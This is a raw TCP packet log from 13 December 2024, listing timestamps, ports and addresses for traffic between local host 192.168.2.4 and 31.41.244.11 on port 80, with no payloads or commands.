Dec 13, 2024 01:51:29.609201908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.609250069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.609296083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.609344959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.610213041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.610268116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.610296965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.610352039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.611160040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.611213923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.611215115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.611268997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.612158060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.612211943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.612338066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.612390995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.613161087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.613210917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.613282919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.613328934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.614180088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.614232063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.614301920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.614352942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.615278959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.615331888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.615344048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.615386963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.616137981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.616190910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.616255045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.616314888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.617130995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.617182970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.617250919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.617300987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.618139029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.618186951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.618295908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.618343115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.619148016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.619199038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.619271040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.619337082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.620147943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.620207071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.620254040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.620306015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.621121883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.621182919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.621292114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.621345043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.622133017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.622186899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.622252941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.622302055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.623132944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.623186111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.623259068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.623308897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.624123096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.624175072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.624262094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.624313116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.625139952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.625189066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.625260115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.625308037 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.626147985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.626202106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.626264095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.626312017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.627120972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.627177000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.627248049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.627295017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.628110886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.628163099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.628166914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.628216028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.629101038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.629149914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.629219055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.629270077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.630116940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.630167961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.630239964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.630286932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.631108046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.631160021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.631210089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.631259918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.632085085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.632138014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.632227898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.632276058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.633100986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.633162022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.633290052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.633339882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.634079933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.634129047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.634213924 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.634263039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.635098934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.635150909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.635216951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.635262012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.636085987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.636135101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.636208057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.636255026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.637094975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.637144089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.637213945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.637263060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.638132095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.638180017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.638250113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.638350010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.639079094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.639130116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.639200926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.639255047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.640074968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.640161037 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.640191078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.640237093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.641087055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.641139984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.641225100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.641275883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.642051935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.642117023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.642172098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.642220020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.643126011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.643173933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.643238068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.643290997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.644078970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.644128084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.644220114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.644282103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.645061970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.645112991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.645184994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.645243883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.646043062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.646094084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.646166086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.646210909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.647053957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.647106886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.647160053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.647209883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.648050070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.648098946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.648148060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.648195982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.649045944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.649096966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.649184942 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.649239063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.650108099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.650152922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.650201082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.650295019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.651035070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.651084900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.651092052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.651143074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.792356968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.792505980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.792538881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.792574883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.792727947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.792727947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.793239117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.793311119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.793546915 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.793548107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.794260979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.794334888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.794362068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.794424057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.795258999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.795340061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.795346022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.795435905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.796221972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.796281099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.796426058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.796483994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.797188044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.797244072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.797286987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.797338009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.798154116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.798212051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.798280001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.798335075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.799189091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.799246073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.799271107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.799340010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.800162077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.800218105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.800288916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.800343037 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.801160097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.801214933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.801217079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.801270008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.802154064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.802210093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.802279949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.802333117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.803144932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.803200006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.803266048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.803334951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.804152012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.804208040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.804270983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.804322004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.805170059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.805226088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.805300951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.805352926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.806145906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.806202888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.806282997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.806335926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.807130098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.807184935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.807214975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.807266951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.808135986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.808192968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.808248997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.808303118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.809132099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.809190035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.809258938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.809309959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.810141087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.810194016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.810271978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.810323000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.811125994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.811180115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.811240911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.811294079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.812122107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.812176943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.812236071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.812289000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.813128948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.813194990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.813266993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.813318968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.814124107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.814187050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.814243078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.814292908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.815130949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.815190077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.815259933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.815309048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.816114902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.816175938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.816241026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.816296101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.817146063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.817202091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.817240953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.817296982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.818147898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.818202019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.818205118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.818258047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.819104910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.819380045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.819437981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.820099115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.820152998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.820229053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.820297956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.821115017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.821171045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.821222067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.822103977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.822164059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.822207928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.822259903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.823086023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.823203087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.823260069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.824265003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.824301958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.824322939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.824352026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.825102091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.825160027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.825228930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.825280905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.826081038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.826134920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.826210022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.826262951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.827091932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.827188015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.827241898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.828087091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.828145027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.828217983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.828264952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.829086065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.829138041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.829210997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.829257965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.830075979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.830126047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.830198050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.830244064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.831059933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.831111908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.831182957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.832055092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.832106113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.832171917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.832235098 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.833053112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.833101034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.833213091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.833255053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.834055901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.834104061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.834177017 CET	80	49809	31.41.244.11	192.168.2.4
